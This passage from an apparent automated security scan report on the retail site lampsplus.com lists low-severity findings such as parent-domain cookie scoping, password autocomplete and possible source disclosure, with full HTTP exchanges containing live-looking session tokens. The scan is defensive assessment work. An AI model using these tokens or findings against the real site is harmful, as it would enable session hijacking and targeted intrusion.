Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False

Response

HTTP/1.1 200 OK
Content-Length: 0
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:23:01 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:23:01 GMT
Connection: close
Set-Cookie: cid=20101226062301544; domain=.lampsplus.com; path=/
Set-Cookie: ASP.NET_SessionId=off5b045whmeuw45nbnlatzd; domain=.lampsplus.com; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=off5b045whmeuw45nbnlatzd; domain=.lampsplus.com; path=/; HttpOnly


3.2. http://www.lampsplus.com/Portfolio/json/CurrentPortfolioJson.aspx  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.lampsplus.com
Path:   /Portfolio/json/CurrentPortfolioJson.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Portfolio/json/CurrentPortfolioJson.aspx?ms=1293373356991 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False

Response

HTTP/1.1 200 OK
Content-Length: 332
Content-Type: text/plain; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:23:01 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:23:01 GMT
Connection: close
Set-Cookie: cid=20101226062301596; domain=.lampsplus.com; path=/
Set-Cookie: ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; domain=.lampsplus.com; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; domain=.lampsplus.com; path=/; HttpOnly
Set-Cookie: portid=00000000-0000-0000-0000-000000000000; domain=.lampsplus.com; path=/


{
"ID":"00000000-0000-0000-0000-000000000000",
"CustomerID":"0",
"Name":"",
"Saved":"False",
"DateModified":"1/1/0001 12:00:00 AM",
"EmployeeNumber":"",
"Custome
...[SNIP]...

3.3. http://www.lampsplus.com/cart/Add-To-Cart.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /cart/Add-To-Cart.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /cart/Add-To-Cart.aspx?qty=1&ms=1293373423693 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; custid=178857560152101226; frompage=; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:24:09 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:24:09 GMT
Connection: close
Set-Cookie: ATC-AddedItems-ShortSKUs=F6506; domain=.lampsplus.com; expires=Sun, 26-Dec-2010 14:24:09 GMT; path=/
Set-Cookie: ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; domain=.lampsplus.com; expires=Sun, 26-Dec-2010 14:24:09 GMT; path=/
Content-Length: 4483


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Add To Cart
...[SNIP]...

3.4. http://www.lampsplus.com/design-it/Pattern-Colorize.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /design-it/Pattern-Colorize.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /design-it/Pattern-Colorize.aspx HTTP/1.1
Host: www.lampsplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: hs_basket=337~F6506|; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; lpqs_sd=False; ATC-AddedItems-ShortSKUs=F6506; portid=00000000-0000-0000-0000-000000000000; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; CMCookieFooterPlacement=Cabinets%20and%20Storage; CoreAt=90065468=1|2|0|0|0|1|0|1|0|0|0|0|1|1293373360||&; frompage=; remarketing_return=1293373428457; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; cmTPSet=Y; __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; __utmb=116051099.2.10.1293373357; custid=178857560152101226; CMCookieFooterVendor=BCME-SH; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); QureyStringParameters=; cid=20101226062301596; F6506=1|999.91|131~Linair+Plasma+TV+Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary; source=DFBCMEF6506;

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 70729
Content-Type: text/html; charset=us-ascii
Location: /design-it/pattern.aspx
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:32:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:32:48 GMT
Connection: close
Set-Cookie: error=session expired; domain=.lampsplus.com; path=/
Set-Cookie: lpcoremetricscid=105; domain=.lampsplus.com; path=/

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fdesign-it%2fpattern.aspx">here</a>.</h2>
</body></html>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transit
...[SNIP]...

3.5. http://www.lampsplus.com/htmls/cart/add.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /htmls/cart/add.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /htmls/cart/add.aspx?catalogprefix=&commaskus=F6506,1&specialdiscountflag=false&ajax=true&ms=1293373422745 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468

Response

HTTP/1.1 200 OK
Content-Length: 19
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:24:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:24:07 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: custid=178857560152101226; domain=.lampsplus.com; path=/
Set-Cookie: frompage=; path=/

{message:"success"}

3.6. http://www.lampsplus.com/portfolio/default.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /portfolio/default.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /portfolio/default.aspx HTTP/1.1
Host: www.lampsplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: hs_basket=337~F6506|; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; lpqs_sd=False; ATC-AddedItems-ShortSKUs=F6506; portid=00000000-0000-0000-0000-000000000000; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; CMCookieFooterPlacement=Cabinets%20and%20Storage; CoreAt=90065468=1|2|0|0|0|1|0|1|0|0|0|0|1|1293373360||&; frompage=; remarketing_return=1293373428457; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; cmTPSet=Y; __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; __utmb=116051099.2.10.1293373357; custid=178857560152101226; CMCookieFooterVendor=BCME-SH; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); QureyStringParameters=; cid=20101226062301596; F6506=1|999.91|131~Linair+Plasma+TV+Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary; source=DFBCMEF6506;

Response

HTTP/1.1 200 OK
Content-Length: 80093
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:33:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:33:18 GMT
Connection: close
Set-Cookie: MyPortfolioView=standard; domain=.lampsplus.com; path=/
Set-Cookie: lpcoremetricscid=116; domain=.lampsplus.com; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="ctl00_Head1"><t
...[SNIP]...

3.7. http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /products/Linair-Plasma-TV-Entertainment-Console__F6506.html

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /products/Linair-Plasma-TV-Entertainment-Console__F6506.html HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QureyStringParameters=sourceid=DFBCMEF6506&cm_mmc=BCME-SH-_-Cabinets%20and%20Storage-_-Cabinets%20and%20Storage-_-F6506

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:23:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:23:00 GMT
Connection: close
Set-Cookie: CMCookieFooterVendor=BCME-SH; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:22:58 GMT; path=/
Set-Cookie: CMCookieFooterCategory=Cabinets%20and%20Storage; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:22:58 GMT; path=/
Set-Cookie: CMCookieFooterPlacement=Cabinets%20and%20Storage; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:22:58 GMT; path=/
Set-Cookie: CMCookieFooterItem=F6506; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:22:58 GMT; path=/
Set-Cookie: GUID=917b51e2-22e5-4314-8874-93fc786f91fe; domain=.lampsplus.com; expires=Tue, 18-Dec-2040 08:00:00 GMT; path=/
Set-Cookie: source=DFBCMEF6506; domain=.lampsplus.com; expires=Fri, 24-Jun-2011 13:22:58 GMT; path=/
Set-Cookie: SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; domain=.lampsplus.com; path=/
Set-Cookie: QureyStringParameters=; path=/
Set-Cookie: lpqs_sd=False; path=/
Content-Length: 111486


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="C
...[SNIP]...

3.8. http://www.lampsplus.com/products/onsale_view-on-sale-items/category_chandeliers/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /products/onsale_view-on-sale-items/category_chandeliers/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /products/onsale_view-on-sale-items/category_chandeliers/ HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.lampsplus.com

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 16:25:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 16:25:55 GMT
Connection: close
Set-Cookie: lastSearchPage=/products/onsale_view-on-sale-items/category_chandeliers/; path=/
Set-Cookie: custid=723580566208101226; domain=.lampsplus.com; path=/
Set-Cookie: productsperpage=60; path=/
Set-Cookie: prevresultscount=14; path=/
Set-Cookie: LPSiteClarity=categoryid=4&categoryname=chandeliers&styleid=0&stylename=; domain=.lampsplus.com; path=/
Set-Cookie: GUID=6dc94985-07e3-4519-9e3b-c1a6782b6ac9; domain=.lampsplus.com; expires=Tue, 18-Dec-2040 08:00:00 GMT; path=/
Content-Length: 99851


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Chandeliers,
...[SNIP]...

3.9. http://www.lampsplus.com/products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/ HTTP/1.1
Host: www.lampsplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: hs_basket=337~F6506|; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; lpqs_sd=False; ATC-AddedItems-ShortSKUs=F6506; portid=00000000-0000-0000-0000-000000000000; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; CMCookieFooterPlacement=Cabinets%20and%20Storage; CoreAt=90065468=1|2|0|0|0|1|0|1|0|0|0|0|1|1293373360||&; frompage=; remarketing_return=1293373428457; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; cmTPSet=Y; __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; __utmb=116051099.2.10.1293373357; custid=178857560152101226; CMCookieFooterVendor=BCME-SH; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); QureyStringParameters=; cid=20101226062301596; F6506=1|999.91|131~Linair+Plasma+TV+Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary; source=DFBCMEF6506;

Response

HTTP/1.1 200 OK
Content-Length: 82119
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:31:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:31:39 GMT
Connection: close
Set-Cookie: lastSearchPage=/products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/; path=/
Set-Cookie: custid=178857560152101226; domain=.lampsplus.com; path=/
Set-Cookie: productsperpage=60; path=/
Set-Cookie: prevresultscount=5; path=/
Set-Cookie: LPSiteClarity=categoryid=55&categoryname=cabinets and storage&styleid=0&stylename=; domain=.lampsplus.com; path=/
Set-Cookie: QureyStringParameters=; path=/
Set-Cookie: lpcoremetricscid=600; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Cabinets And
...[SNIP]...

4. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /htmls/cart/shoppingcart.aspx

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /htmls/cart/shoppingcart.aspx HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/cart/Add-To-Cart.aspx?qty=1&ms=1293373423693
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; custid=178857560152101226; frompage=; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; ATC-AddedItems-ShortSKUs=F6506; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:24:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:24:12 GMT
Connection: close
Content-Length: 105738


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Lamps Plus S
...[SNIP]...
</div>

           <form name="shoppingCart" method="post" action="shoppingcart.aspx" id="shoppingCart" language="javascript" onsubmit="return shoppingCart_onsubmit()">
<input type="hidden" name="StaticPostBackScrollVerticalPosition" value="0" />
...[SNIP]...
<td>
                               <input id="passName" type="password" maxlength="30" size="30" name="passName" /></td>
...[SNIP]...
<td>
                               <input id="pass" type="password" maxlength="15" size="10" name="pass" onkeydown="checkForEnterPassword()" /></td>
...[SNIP]...

5. Source code disclosure  previous  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   http://www.lampsplus.com
Path:   /js/add-to-cart.js

Issue detail

The application appears to disclose some server-side source code written in ASP.

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

Request

GET /js/add-to-cart.js HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Wed, 29 Sep 2010 18:10:35 GMT
Accept-Ranges: bytes
ETag: "3cb439d160cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Vary: Accept-Encoding
